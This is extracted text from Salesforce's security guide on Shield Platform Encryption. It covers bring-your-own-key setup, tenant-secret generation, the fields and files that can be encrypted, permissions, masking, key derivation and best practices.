Available in both Salesforce
Classic and Lightning
Experience.

USER PERMISSIONS
To view setup:
• View Setup and
Configuration
To disable encryption:
• Customize Application

Require Two-Factor Authentication for Key Management
Two-factor authentication is a powerful tool for securing access to data and resources. You can
require two-factor authentication for key management tasks like generating, rotating, or uploading
key material and certificates.
Important: Make sure that you provide security administrators a way to get a time-based,
one-time password. This password is their second authentication factor. Otherwise, they can’t
complete encryption key-related tasks.
1. From Setup, in the Quick Find box, enter Identity Verification, and then select
Identity Verification.
2. Select Raise session to high-assurance from the Manage Encryption Keys dropdown.
All admins with the Manage Encryption Keys permission must use a second form of
authentication to complete key management tasks through Setup and the API.

195

EDITIONS
Available in: Enterprise,
Performance, Unlimited,
and Developer Editions

USER PERMISSIONS
To assign identity verification
for key management tasks:
• Manage Encryption Keys

Salesforce Security Guide

Manage Shield Platform Encryption

How Shield Platform Encryption Works
Shield Platform Encryption relies on a unique tenant secret that you control and a master secret
that's maintained by Salesforce. We combine these secrets to create your unique data encryption
key. We use that key to encrypt data that your users put into Salesforce, and to decrypt data when
your authorized users need it.
Encrypting files, fields, and attachments has no effect on your organization’s storage limits.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the
difference?
IN THIS SECTION:
Can I Bring My Own Encryption Key?
Yes. You can generate and store your customer-supplied key material outside of Salesforce
using your own crypto libraries, enterprise key management system, or hardware security
module (HSM). You then grant the Salesforce Shield Platform Encryption key management
machinery access to those keys. You can choose to encrypt your keys with a public key from a
self-signed or CA-signed certificate.

Which Standard Fields and Data Elements Can I Encrypt?
You can encrypt certain fields on standard and custom objects, data in Chatter, and search index files. With some exceptions,
encrypted fields work normally throughout the Salesforce user interface, business processes, and APIs.
Which Custom Fields Can I Encrypt?
You can encrypt the contents of fields that belong to one of these custom field types, on either standard or custom objects.
Which Files Are Encrypted?
When you enable Shield Platform Encryption for files and attachments, all files and attachments that can be encrypted are encrypted.
The body of each file or attachment is encrypted when it’s uploaded.
Which User Permissions Does Shield Platform Encryption Require?
Assign permissions to your users according to their roles regarding encryption and key management. Some users need permission
to select data for encryption, while other users require combinations of permissions to work with certificates or key material. Enable
these permissions for user profiles just like you would any other user permission.
Why Isn’t My Encrypted Data Masked?
If the encryption service isn’t available, data is masked in some types of encrypted fields. This is to help you troubleshoot encryption
key issues, not to control user access to data. If you have data that you don’t want some users to see, revisit those users’ field-level
security settings, record access settings, and object permissions.
Behind the Scenes: The Shield Platform Encryption Process
When users submit data, the application server looks for the org-specific data encryption key in its cache. If it isn’t there, the application
server gets the encrypted tenant secret from the database and asks the key derivation server to derive the key. The encryption service
then encrypts the data on the application server.
Behind the Scenes: The Search Index Encryption Process
The Salesforce search engine is built on the open-source enterprise search platform software Apache Solr. The search index, which
stores tokens of record data with links back to the original records stored in the database, is housed within Solr. Partitions divide the
search index into segments to allow Salesforce to scale operations. Apache Lucene is used for its core library.

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How Do I Deploy Shield Platform Encryption?
When you deploy Shield Platform Encryption to your org with a tool such as Force.com IDE, Migration Tool, or Workbench, the
Encrypted field attribute persists. However, if you deploy to orgs with different encryption settings, the effect depends on whether
Shield Platform Encryption is enabled in the target org.
How Does Shield Platform Encryption Work In a Sandbox?
Refreshing a sandbox from a production organization creates an exact copy of the production organization. If Shield Platform
Encryption is enabled on the production organization, all encryption settings are copied, including tenant secrets created in production.
Shield Platform Encryption Terminology
Encryption has its own specialized vocabulary. To get the most out of your Shield Platform Encryption features, it’s a good idea to
familiarize yourself with the key terms, such as hardware security module, key rotation, and master secret.
What’s the Difference Between Classic Encryption and Shield Platform Encryption?
With Shield Platform Encryption, you can encrypt a variety of widely used standard fields, along with some custom fields and many
kinds of files. Shield Platform Encryption also supports person accounts, cases, search, approval processes, and other key Salesforce
features. Classic encryption lets you protect only a special type of custom text field, which you create for that purpose.

Can I Bring My Own Encryption Key?
Yes. You can generate and store your customer-supplied key material outside of Salesforce using
your own crypto libraries, enterprise key management system, or hardware security module (HSM).
You then grant the Salesforce Shield Platform Encryption key management machinery access to
those keys. You can choose to encrypt your keys with a public key from a self-signed or CA-signed
certificate.
To work with our key management machinery, your customer-supplied key material needs to meet
these specifications:
• 256-bit size
• Encrypted with a public RSA key that is extracted from the downloaded BYOK certificate, then
padded using OAEP padding
• Once it’s encrypted, it must be encoded in standard base64
To work with encryption keys, you'll need the Manage Encryption Keys permission. To generate
BYOK-compatible certificates, you’ll need the Customize Application permission.

IN THIS SECTION:
Why Bring Your Own Key?
Bring Your Own Key (BYOK) gives you an extra layer of protection in the event of unauthorized access to critical data. It may also
help you meet the regulatory requirements that come with handling financial data, such as credit card numbers; health data, such
as patient care records or insurance information; or other kinds of private data, such as social security numbers, addresses, and phone
numbers. Once you’ve set up your key material, you can use Shield Platform Encryption as you normally would to encrypt data at
rest in your Salesforce org.
Take Good Care of Your Keys
When you create and store your own key material outside of Salesforce, it’s important that you safeguard that key material. Make
sure that you have a trustworthy place to archive your key material; never save a tenant secret or data encryption key on a hard drive
without a backup.
Sample Script for Generating a BYOK Tenant Secret
We’ve provided a helper script that may be handy for preparing your tenant secret for installation. It generates a random number
as your tenant secret, calculates a SHA256 hash of the secret, and uses the public key from the certificate to encrypt the secret.

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Troubleshooting Bring Your Own Key
One or more of these frequently asked questions may help you troubleshoot any problems that arise.

Why Bring Your Own Key?
Bring Your Own Key (BYOK) gives you an extra layer of protection in the event of unauthorized
access to critical data. It may also help you meet the regulatory requirements that come with
handling financial data, such as credit card numbers; health data, such as patient care records or
insurance information; or other kinds of private data, such as social security numbers, addresses,
and phone numbers. Once you’ve set up your key material, you can use Shield Platform Encryption
as you normally would to encrypt data at rest in your Salesforce org.
Shield Platform Encryption enables Salesforce administrators to manage the lifecycle of their data
encryption keys while protecting these keys from unauthorized access. By controlling the lifecycle
of your organization’s tenant secrets, you control the lifecycle of the data encryption keys derived
from them. Alternatively, you can opt out of key derivation altogether and upload a final data
encryption key.
Data encryption keys aren’t stored in Salesforce. Instead, they’re derived from the master secret and
tenant secret on demand whenever a key is needed to encrypt or decrypt customer data. The
master secret is generated once per release for everyone by a hardware security module (HSM).
The tenant secret is unique to your org, and you control when it is generated, activated, revoked,
or destroyed.

You have three options for setting up your key material.
• Use the Shield Key Management Service (KMS) to generate your org-specific tenant secret for you.
• Use the infrastructure of your choice, such as an on-premises HSM, to generate and manage your tenant secret outside of Salesforce.
Then upload that tenant secret to the Salesforce KMS. This option is popularly known as “Bring Your Own Key,” although the element
you’re really bringing is the tenant secret from which the key is derived.
• Opt out of the Shield KMS key derivation process with the Bring Your Own Key service. Use the infrastructure of your choice to create
a data encryption key instead of a tenant secret. Then upload this data encryption key to the Shield KMS. When you opt out of
derivation on a key-by-key basis, the Shield KMS bypasses the derivation process and uses this key material as your final data encryption
key. You can rotate customer-supplied data encryption keys just like you would rotate a customer-supplied tenant secret.

Take Good Care of Your Keys
When you create and store your own key material outside of Salesforce, it’s important that you
safeguard that key material. Make sure that you have a trustworthy place to archive your key material;
never save a tenant secret or data encryption key on a hard drive without a backup.
Back up all imported key material after you upload them to Salesforce. This ensures that you have
copies of your active key material. See Back Up Your Tenant Secret in Salesforce Help.
Review your company policy on key rotation. You can rotate and update your keys on your own
schedule. See Rotate Your Encryption Keys.
Important: If you accidentally destroy a tenant secret that isn't backed up, Salesforce won’t
be able to help you retrieve it.

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Sample Script for Generating a BYOK Tenant Secret
We’ve provided a helper script that may be handy for preparing your tenant secret for installation.
It generates a random number as your tenant secret, calculates a SHA256 hash of the secret, and
uses the public key from the certificate to encrypt the secret.
1. Download the script from the Salesforce Knowledge Base. Save it in the same directory as the
certificate.
2. Run the script specifying the certificate name, like this: ./secretgen.sh
my_certificate.crt

Replace this certificate name with the actual filename of the certificate you downloaded.
Tip: If needed, use chmod +w secretgen.sh to make sure you have write
permission to the file and use chmod 775 to make it executable.
3. The script generates a number of files. Look for the two files that end with the .b64 suffix.
The files ending in .b64 are your base 64-encoded encrypted tenant secret and base 64-encoded
hash of the plaintext tenant secret. You’ll need both of these files for the next step.

Troubleshooting Bring Your Own Key
One or more of these frequently asked questions may help you troubleshoot any problems that
arise.

EDITIONS

I’m trying to use the script you provide, but it won’t run.
Make sure that you are running the right script for your operating system. If you are working
on a Windows machine, you can install a Linux emulator and use the Linux script. These issues
can also prevent the script from running:

• You don’t have write permission in the folder you’re trying to run the script from. Try running
the script from a folder that you have write permission for.
• The certificate that the script references is missing. Make sure you’ve properly generated
the certificate.
• The certificate is missing or is not being referenced by the correct name. Make sure you’ve
entered the correct file name for your certificate in the script.

Available in both Salesforce
Classic and Lightning
Experience.

I want to use the script you provide, but I also want to use my own random number
generator.
The script we provide uses a random number generator to create a random value that is then
used as your tenant secret. If you would like to use a different generator, replace head -c 32 /dev/urandom | tr '\n'
= (or, in the Mac version, head -c 32 /dev/urandom > $PLAINTEXT_SECRET) with a command that generates a
random number using your preferred generator.
What if I want to use my own hashing process to hash my tenant secret?
No problem. Just make sure that the end result meets these requirements:
• Uses an SHA-256 algorithm.
• Results in a base64 encoded hashed tenant secret.
• Generates the hash of the random number BEFORE encrypting it.
If any of these three criteria aren’t met, you won’t be able to upload your tenant secret.

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How should I encrypt my tenant secret before I upload it to Salesforce?
If you’re using the script provided, the encryption process is taken care of. If you do not use the script, specify the OAEP padding
scheme when you encrypt your tenant secret. Make sure the resulting encrypted tenant secret and hashed tenant secret files are
encoded using base64. If either of these criteria are not met, you won’t be able to upload your tenant secret.
If you choose to not use the script provided, follow the instructions in the Generate And Wrap Your Tenant Secret Help topic.
I can’t upload my Encrypted tenant secret and Hashed tenant secret.
A handful of errors can prevent your files from uploading. Use the chart to make that sure your tenant secrets and certificates are in
order.
Possible cause

Solution

Your files were generated with an Check the date on your certificate. If it has expired, you can renew your certificate or use another
expired certificate.
one.
Your certificate is not active, or is Ensure that your certificate settings are compatible with the Bring Your Own Key feature. Under
not a valid Bring Your Own Key the Certificate and Key Edit section of the Certificates page, select a 4096-bit certificate size,
certificate.
disable Exportable Private Key, and enable Platform Encryption.
You haven’t attached both the Make sure that you attach both the encrypted tenant secret and hashed tenant secret. Both of
encrypted tenant secret and the these files should have a .b64 suffix.
hashed tenant secret.
Your tenant secret or hashed
tenant secret wasn’t generated
properly.

Several problems can cause this error. Usually, the tenant secret or hashed tenant secret wasn't
generated using the correct SSL parameters. If you are using OpenSSL, you can refer to the script
for an example of the correct parameters you should use to generate and hash your tenant
secret. If you are using a library other than OpenSSL, check that library's support page for help
finding the correct parameters to both generate and hash your tenant secret.
Still stuck? Contact your Salesforce account executive. They'll put you in touch with someone
at Salesforce who can help.

I’m still having problems with my key. Who should I talk to?
If you still have questions, contact your account executive. They’ll put you in touch with a support team specific to this feature.

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Encrypted Standard Fields
You can encrypt the contents of these standard field types.
Accounts
• Account Name

• Account Site
• Billing Address (encrypts Billing Street and Billing City)
• Description
• Fax
• Phone
• Shipping Address (encrypts Shipping Street and Shipping City)
• Website

Note: If your org has enabled Person Accounts, certain account and contact fields are combined into one record. In that case,
you can enable encryption for a different set of Account fields.
Accounts (if Person Accounts enabled for your org)
• Account Name
• Account Site
• Assistant
• Assistant Phone
• Billing Address (encrypts Billing Street and Billing City)
• Description
• Email
• Fax
• Home Phone
• Mailing Address (encrypts Mailing Street and Mailing City)
• Mobile
• Other Address (encrypts Other Street and Other City)
• Other Phone
• Phone
• Shipping Address (encrypts Shipping Street and Shipping City)
• Title
• Website
Activities
• Description—Event

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Note: Encrypting Description—Event also encrypts Comment—Task.
Cases
• Description
• Subject
Case Comments
• Body (including internal comments)
Contacts
• Assistant
• Assistant Phone
• Description
• Email
• Fax
• Home Phone
• Mailing Address (encrypts Mailing Street and Mailing City)
• Mobile
• Name (encrypts First Name, Middle Name, and Last Name)
• Other Address (encrypts Other Street and Other City)
• Other Phone
• Phone
• Title
Contracts
• Billing Address (encrypts Billing Street and Billing City)
• Shipping Address (encrypts Shipping Street and Shipping City)
Custom Objects
• Name
Email Messages (beta)
• From Name
• From Address
• To Address
• CC Address
• BCC Address
• Subject
• Text Body
• HTML Body
• Headers
If you use Email-to-Case, these fields are also encrypted on the customer emails that generate cases.
Email Message Relations (beta)
• Relation Address

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Leads
• Address (Encrypts Street and City)
• Company
• Description
• Email
• Fax
• Mobile
• Name (Encrypts First Name, Middle Name, and Last Name)
• Phone
• Title
• Website
List Emails
• From Name
• From Address
• Reply To Address
List Email Sent Results
• Email
Opportunities
• Description
• Next Step
• Opportunity Name
Service Appointments
• Address (Encrypts Street and City)
• Description
• Subject
Work Orders
• Address (Encrypts Street and City)
• Description
• Subject
Work Order Line Items
• Address (Encrypts Street and City)
• Description
• Subject

Other Encrypted Fields and Data Elements
Individual
• Name
Note: The Individual object is available only if you enable the org setting to make data protection details available in records.

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Chatter Feed
Encrypted Chatter data includes data in feed posts and comments, questions and answers, link names and URLs, poll choices and
questions, and content from your custom rich publisher apps.
The revision history of encrypted Chatter fields is also encrypted. If you edit or update an encrypted Chatter field, the old information
remains encrypted.
Chatter data is stored in the Feed Attachment, Feed Comment, Feed Poll Choice, Feed Post, and Feed Revision objects. The database
fields on these objects that house encrypted data are visible from the Encryption Statistics page in Setup.
• ChatterExtensionInstance—Payload
• ChatterExtensionInstance—PayloadVersion
• ChatterExtensionInstance—TextRepresentation
• ChatterExtensionInstance—ThumbnailUrl
• ChatterExtensionInstance—Title
• FeedAttachment—Title
• FeedAttachment—Value
• FeedComment—RawCommentBody
• FeedPollChoice—ChoiceBody
• FeedPost—LinkUrl
• FeedPost—RawBody
• FeedPost—Title
• FeedRevision—RawValue
Some fields listed in the Encryption Statistics aren’t visible in the UI by the same name, but they store all encrypted data that’s visible
in the UI.
Note: Enabling Encryption for Chatter encrypts all eligible Chatter fields. You can’t choose to encrypt only some Chatter fields.
Search Indexes
When you encrypt search indexes, each file created to store search results is encrypted.
Einstein Analytics
Encrypts new Einstein Analytics datasets.
Note: Data that was in Einstein Analytics before encryption was enabled is not encrypted. If existing data is imported from
Salesforce objects through the dataflow, the data becomes encrypted on the next dataflow run. Other existing data (such as
CSV data) must be reimported to become encrypted. Although existing data is not encrypted, it is still accessible and fully
functional in its unencrypted state when encryption is enabled.
Change Data Capture (Developer Preview)
Change Data Capture (CDC) provides near-real-time changes of Salesforce records and synchronizes corresponding records in an
external data store. If a Salesforce record field is encrypted with Shield Platform Encryption, changes to encrypted field values generate
change events. You can encrypt these change events by selecting Encrypt and deliver Change Data Capture events on the
Encryption Policy page in Setup.
Note: Change Data Capture is available as a developer preview in Developer Edition orgs. Change Data Capture isn’t generally
available unless or until Salesforce announces its general availability in documentation or in press releases or public statements.
All commands, parameters, and other features are subject to change or deprecation at any time, with or without notice. Don't
implement functionality developed with these commands or tools. In addition to the developer preview, Change Data Capture

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continues to be offered through a pilot program to select customers. To be nominated to participate in the pilot program,
contact Salesforce. You can provide feedback and suggestions for Change Data Capture in this Trailblazer Community group.
Health Cloud
Note: Health Cloud standard objects and fields are available to users who have the Health Cloud Platform permission set
license.
Care Request
• Admission Notes
• Disposition Notes
• Facility Record Number
• First Reviewer Notes
• Medical Director Notes
• Member First Name
• Member Last Name
• Member ID
• Member Group Number
• Resolution Notes
• Root Cause Notes
Care Request Drug
• Prescription Number
Coverage Benefit
• Benefit Notes
• Coinsurance Notes
• Copay Notes
• Deductible Notes
• Lifetime Maximum Notes
• Out-of-Pocket Notes
• Source System Identifier
Coverage Benefit Item
• Coverage Level
• Notes
• Service Type
• Service Type Code
• Source System Identifier
Member Plan
• Affiliation
• Group Number
• Issuer Number
• Member Number
• Primary Care Physician

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• Source System Identifier
Purchaser Plan
• Plan Number
• Service Type
• Source System
• Source System Identifier
Purchaser Plan Association
• Purchaser Plan Association ID
• Status
• Source System
• Source System Identifier
Note: Deterministic encryption is not available for long text fields. This includes any field with "Notes" in its name.

Which Custom Fields Can I Encrypt?
You can encrypt the contents of fields that belong to one of these custom field types, on either standard or custom objects.
• Email
• Phone
• Text
• Text Area
• Text Area (Long)
• Text Area (Rich) (beta)
• URL
• Date
• Date/Time
After a custom field is encrypted, you can’t change the field type. For custom phone and email fields, you also can’t change the field
format.
Important: When you encrypt the Name field, enhanced lookups are automatically enabled. Enhanced lookups improve the
user’s experience by searching only through records that have been looked up recently, and not all existing records. Switching to
enhanced lookups is a one-way change. You can’t go back to standard lookups, even if you disable encryption.
You can’t use Schema Builder to create an encrypted custom field.
To encrypt custom fields that have the Unique or External ID attribute, you can only use deterministic encryption.
Some custom fields can’t be encrypted:
• Fields on external data objects
• Fields that are used in an account contact relation
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

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Which Files Are Encrypted?
When you enable Shield Platform Encryption for files and attachments, all files and attachments
that can be encrypted are encrypted. The body of each file or attachment is encrypted when it’s
uploaded.
These kinds of files are encrypted when you enable file encryption:
• Files attached to email
• Files attached to feeds
• Files attached to records
• Images included in Rich Text Area fields
• Files on the Content, Libraries, and Files tabs (Salesforce Files, including file previews, and
Salesforce CRM Content files)
• Files managed with Salesforce Files Sync and stored in Salesforce
• Files attached to Chatter posts, comments, and the sidebar

• Notes body text using the new Notes tool
• Files attached to Knowledge articles
• Quote PDFs
These file types and attachments aren’t encrypted:
• Chatter group photos
• Chatter profile photos
• Documents
• Notes previews in the new Notes tool
• Notes and Notes previews in the old Notes tool
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

Which User Permissions Does Shield Platform Encryption Require?
Assign permissions to your users according to their roles regarding encryption and key management.
Some users need permission to select data for encryption, while other users require combinations
of permissions to work with certificates or key material. Enable these permissions for user profiles
just like you would any other user permission.
Manage Customize
Encryption Application
Keys

View Manage Modify
Setup Certificates All Data
and
Configuration

View Platform Encryption Setup
pages
Edit Encryption Policy page settings

(Optional)

Generate, destroy, export, import,
and upload tenant secrets and
customer-supplied key material

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Manage
Encryption
Keys

Customize
Application

View Setup
Manage
and
Certificates
Configuration

Modify All
Data

Query the TenantSecret object via the API
Edit, upload, and download HSM-protected
certificates with the Shield Platform Encryption
Bring Your Own Key service
Enable features on the Advanced Settings page

The Customize Application and Manage Certificates permissions are automatically enabled for users with the System Administrator
profile.

Restrict Access to Encryption Policy Settings
You can require admins to also have the Manage Encryption Keys permission to complete encryption policy tasks. These tasks include
changing the encryption scheme on fields, enabling and disabling encryption on fields, files, and attachments, and other data elements.
To opt in to this feature, you need the Manage Encryption Keys permission. Then opt in from the Advanced Settings page.
1. From Setup, in the Quick Find box, enter Platform Encryption, and then select Advanced Settings.
2. Select Restrict Access to Encryption Policy Settings.
This restriction applies to actions taken through the API or from Setup pages, such as the Encryption Policy page or the Object Manager.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

Why Isn’t My Encrypted Data Masked?
If the encryption service isn’t available, data is masked in some types of encrypted fields. This is to
help you troubleshoot encryption key issues, not to control user access to data. If you have data
that you don’t want some users to see, revisit those users’ field-level security settings, record access
settings, and object permissions.
Encryption prevents outsiders from using your Salesforce data even if they manage to get it. It is
not a way to hide data from authenticated users. User permissions are the only way to control data
visibility for authenticated users. Encryption at rest is about logins, not permissions.
With Shield Platform Encryption, if a user is authorized to see a given set of data, that user sees that
data whether it’s encrypted or not.
• Authentication means that making sure only legitimate users can get into your system. For
example, a company’s Salesforce org is only for use by active employees of that company.
Anyone who is not an employee is not authenticated; that is, they are barred from logging in.
If they do somehow get their hands on the data, it’s useless to them because it is encrypted.

• Authorization defines which data or features an authenticated user can use. For example, a
sales associate can see and use data in the Leads object, but can’t see the regional forecasts,
which are intended for sales managers. Both the associate and the manager are properly logged in (authenticated), but their
permissions (authorization) are different. That the data is encrypted doesn’t make any difference to them.
In general, data can be masked but not encrypted, or encrypted but not masked. For example, regulators often require that only the last
four digits of a credit card number be visible to users. Applications typically mask the rest of the number, meaning they replace the digits

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with asterisks on the user’s screen. Without encryption, you can still read the digits that are masked if you can get to the database where
they are stored.
Masking might not be enough for your credit card numbers. You may or may not want to encrypt them in the database as well. (You
probably should.) If you do, authenticated users will still see the same masked values.
In this way, masking and encryption are different solutions for different problems. You mask data to hide it from users who are authenticated
but not authorized to see that data. You encrypt data to prevent someone from stealing the data. (Or, more precisely, to make the data
useless if someone does steal it.)
The following table shows the fields that use masking. All others don’t.
Field Type

Mask

What It Means

Email, Phone, Text, Text Area,
Text Area (Long), URL

?????

This field is encrypted, and the encryption key has been
destroyed.

!!!!!

This service is unavailable right now. For help accessing this
service, contact Salesforce.

08/08/1888

This field is encrypted, and the encryption key has been
destroyed.

01/01/1777

This service is unavailable right now. For help accessing this
service, contact Salesforce.

08/08/1888 12:00 PM

This field is encrypted, and the encryption key has been
destroyed.

01/01/1777 12:00 PM

This service is unavailable right now. For help accessing this
service, contact Salesforce.

Custom Date

Custom Date/Time

You can’t enter these masking characters into an encrypted field. For example, if a Date field is encrypted and you enter 07/07/1777,
you must enter a different value before it can be saved.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

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Behind the Scenes: The Shield Platform Encryption Process
When users submit data, the application server looks for the org-specific data encryption key in its
cache. If it isn’t there, the application server gets the encrypted tenant secret from the database
and asks the key derivation server to derive the key. The encryption service then encrypts the data
on the application server.
Salesforce securely generates the master and tenant secrets by using Hardware Security Modules
(HSMs). The unique key is derived by using PBKDF2, a Key Derivation Function (KDF), with the master
and tenant secrets as inputs.

Shield Platform Encryption Process Flow

1. When a Salesforce user saves encrypted data, the runtime engine determines from metadata whether to encrypt the field, file, or
attachment before storing it in the database.
2. If so, the encryption service checks for the matching data encryption key in cached memory.
3. The encryption service determines whether the key exists.
a. If so, the encryption service retrieves the key.
b. If not, the service sends a derivation request to a key derivation server and returns it to the encryption service running on the
Salesforce Platform.
4. After retrieving or deriving the key, the encryption service generates a random initialization vector (IV) and encrypts the data using
256-bit AES encryption.

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5. The ciphertext is saved in the database or file storage. The IV and corresponding ID of the tenant secret used to derive the data
encryption key are saved in the database.
Salesforce generates a new master secret at the start of each release.

Behind the Scenes: The Search Index Encryption Process
The Salesforce search engine is built on the open-source enterprise search platform software Apache
Solr. The search index, which stores tokens of record data with links back to the original records
stored in the database, is housed within Solr. Partitions divide the search index into segments to
allow Salesforce to scale operations. Apache Lucene is used for its core library.
Leveraging Shield Platform Encryption’s HSM-based key derivation architecture, metadata, and
configurations, Search Index Encryption runs when Shield Platform Encryption is in use. The solution
applies strong encryption on an org-specific search index (.fdt, .tim, and .tip file types) using an
org-specific AES-256 bit encryption key. The search index is encrypted at the search index segment
level, and all search index operations require index blocks to be encrypted in memory.
The only way to access the search index or the key cache is through programmatic APIs.
A Salesforce security administrator can enable Search Index Encryption from Setup. The administrator
first creates a tenant secret of the Search Index type, then enables Encryption for Search Indexes.
The admin configures their encryption policy by selecting fields and files to encrypt. An org-specific
HSM-derived key is derived from the tenant secret on demand. The key material is passed to the
search engine’s cache on a secure channel.

The process when a user creates or edits records:
1. The core application determines if the search index segment should be encrypted or not based on metadata.
2. If the search index segment should be encrypted, the encryption service checks for the matching search encryption key ID in the
cached memory.
3. The encryption service determines if the key exists in the cache.
a. If the key exists in the cache, the encryption service uses the key for encryption.
b. Otherwise, the service sends a request to the core application, which in turn sends an authenticated derivation request to a key
derivation server and returns the key to the core application server.
4. After retrieving the key, the encryption service generates a random initialization vector (IV) and encrypts the data using NSS or JCE’s
AES-256 implementation.
5. The key ID (identifier of the key being used to encrypt the index segment) and IV are saved in the search index.
The process is similar when a user searches for encrypted data:
1. When a user searches for a term, the term is passed to the search index, along with which Salesforce objects to search.
2. When the search index executes the search, the encryption service opens the relevant segment of the search index in memory and
reads the key ID and IV.
3. Steps 3 through 5 of the process when a user creates or edits records are repeated.
4. The search index processes the search and returns the results to the user seamlessly.
If Salesforce admins disable encryption on a field, all index segments that were encrypted are unencrypted and the key ID is set to null.
This process can take up to seven days.

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Target Organization

Result

Shield Platform Encryption
enabled

The source Encrypted field
attribute indicates enablement

Shield Platform Encryption
enabled

Shield Platform Encryption not The Encrypted field attribute is
enabled
ignored

Shield Platform Encryption not Shield Platform Encryption
enabled
enabled

The target Encrypted field
attribute indicates enablement

Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the difference?

How Does Shield Platform Encryption Work In a Sandbox?
Refreshing a sandbox from a production organization creates an exact copy of the production
organization. If Shield Platform Encryption is enabled on the production organization, all encryption
settings are copied, including tenant secrets created in production.
Once a sandbox is refreshed, tenant secret changes are confined to your current organization. This
means that when you rotate or destroy a tenant secret on sandbox, it doesn’t affect the production
organization.
As a best practice, rotate tenant secrets on sandboxes after a refresh. Rotation ensures that production
and sandbox use different tenant secrets. Destroying tenant secrets on a sandbox renders encrypted
data unusable in cases of partial or full copies.
Note: This page is about Shield Platform Encryption, not Classic Encryption. What's the
difference?

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Shield Platform Encryption Terminology
Encryption has its own specialized vocabulary. To get the most out of your Shield Platform Encryption
features, it’s a good idea to familiarize yourself with the key terms, such as hardware security module,
key rotation, and master secret.
Data Encryption
The process of applying a cryptographic function to data that results in ciphertext. The platform
encryption process uses symmetric key encryption and a 256-bit Advanced Encryption Standard
(AES) algorithm using CBC mode, and a randomized, 128-bit initialization vector (IV) to encrypt
field-level data and files stored on the Salesforce Platform. Both data encryption and decryption
occur on the application servers.
Data Encryption Keys
Shield Platform Encryption uses data encryption keys to encrypt and decrypt data. Data
encryption keys are derived on the Shield Key Management Service (KMS) using keying material
split between a per-release master secret and an organization-specific tenant secret stored
encrypted in the database as a part of your organization. The 256-bit derived keys exist in
memory until evicted from the cache.

Encrypted Data at Rest
Data that is encrypted when persisted on disk. Salesforce supports encryption for fields stored in the database; documents stored
in files, content, libraries, and attachments; search index files; Einstein Analytics datasets; and archived data.
Encryption Key Management
Refers to all aspects of key management, such as key generation, processes, and storage. Tenant secret management is performed
by administrators or users who have the “Manage Encryption Keys” permission.
Hardware Security Module (HSM)
Used to provide cryptography processing as well as key management for authentication. Shield Platform Encryption uses HSMs to
generate and store secret material and run the function that derives data encryption keys used by the encryption service to encrypt
and decrypt data.
Initialization Vector (IV)
A random sequence used with a key to encrypt data.
Shield Key Management Service (KMS)
Generates, wraps, unwraps, derives, and secures key material. When deriving key material, the Shield KMS uses a pseudorandom
number generator and input such as a password to derive keys. Shield Platform Encryption uses PBKDF2 (Password-based Key
Derivation Function 2) with HMAC-SHA-256.
Key (Tenant Secret) Rotation
The process of generating a new tenant secret and archiving the previously active one. Active tenant secrets are used for both
encryption and decryption. Archived ones are used only for decryption until all data has been re-encrypted using the new, active
tenant secret.
Master HSM
The master HSM consists of a USB device used to generate secure, random secrets each Salesforce release. The master HSM is
“air-gapped” from Salesforce’s production network and stored securely in a bank safety deposit box.
Master Secret
Used in conjunction with the tenant secret and key derivation function to generate a derived data encryption key (customers can
opt out of key derivation). The master secret is rotated each release by Salesforce and encrypted using the per-release master
wrapping key, which is in turn encrypted with the Shield KMS’s public key so it can be stored encrypted on the file system. Only
HSMs can decrypt it. No Salesforce employees have access to these keys in cleartext.

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Master Wrapping Key
A symmetric key is derived and used as a master wrapping key, also known as a key wrapping key, encrypting all the per-release
keys and secrets bundle.
Tenant Secret
An organization-specific secret used in conjunction with the master secret and key derivation function to generate a derived data
encryption key. When an organization administrator rotates a key, a new tenant secret is generated. To access the tenant secret via
the API, refer to the TenantSecret object. No Salesforce employees have access to these keys in cleartext.

What’s the Difference Between Classic Encryption and Shield Platform Encryption?
With Shield Platform Encryption, you can encrypt a variety of widely used standard fields, along
with some custom fields and many kinds of files. Shield Platform Encryption also supports person
accounts, cases, search, approval processes, and other key Salesforce features. Classic encryption
lets you protect only a special type of custom text field, which you create for that purpose.
Feature
Pricing

Classic Encryption

Platform Encryption

Included in base user
license

Additional fee applies

Encryption at Rest
Native Solution (No Hardware or Software
Required)
Encryption Algorithm

128-bit Advanced
Encryption Standard
(AES)

HSM-based Key Derivation
Manage Encryption Keys Permission
Generate, Export, Import, and Destroy Keys
PCI-DSS L1 Compliance
Masking
Mask Types and Characters
View Encrypted Data Permission Required
to Read Encrypted Field Values
Encrypted Standard Fields
Encrypted Attachments, Files, and Content
Encrypted Custom Fields

Dedicated custom field
type, limited to 175
characters

Encrypt Existing Fields for Supported Custom
Field Types

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Feature

Classic Encryption

Platform Encryption

Search (UI, Partial Search, Lookups, Certain SOSL Queries)
API Access
Available in Workflow Rules and Workflow Field Updates
Available in Approval Process Entry Criteria and Approval Step
Criteria

SEE ALSO:
Classic Encryption for Custom Fields

Shield Platform Encryption Best Practices
Take the time to identify the most likely threats to your organization. This process helps you
distinguish data that needs encryption from data that doesn’t, so that you can encrypt only what
you need to. Make sure that your tenant secret and keys are backed up, and be careful who you
allow to manage your secrets and keys.
1. Define a threat model for your organization.
To identify the threats that are most likely to affect your organization, walk through a formal
threat modeling exercise. Use your findings to create a data classification scheme, which can
help you decide what data to encrypt.
2. Encrypt only where necessary.
• Not all data is sensitive. Focus on information that requires encryption to meet your
regulatory, security, compliance, and privacy requirements. Unnecessarily encrypting data
impacts functionality and performance.
• Evaluate your data classification scheme early and work with stakeholders in security,
compliance, and business IT departments to define requirements. Balance business-critical
functionality against security and risk measures and challenge your assumptions periodically.

3. Create a strategy early for backing up and archiving keys and data.
If your tenant secrets are destroyed, reimport them to access your data. You are solely responsible for making sure that your data
and tenant secrets are backed up and stored in a safe place. Salesforce cannot help you with deleted, destroyed, or misplaced tenant
secrets.
4. Read the Shield Platform Encryption considerations and understand their implications on your organization.
• Evaluate the impact of the considerations on your business solution and implementation.
• Test Shield Platform Encryption in a sandbox environment before deploying to a production environment. Encryption policy
settings can be deployed using change sets.
• Before enabling encryption, fix any violations that you uncover. For example, if you reference encrypted fields in a SOQL ORDER
BY clause, a violation occurs. Fix the violation by removing references to the encrypted fields.
• When requesting feature enablement, such as pilot features, give Salesforce Customer Support several days lead time. The time
to complete the process varies based on the feature and how your org is configured.
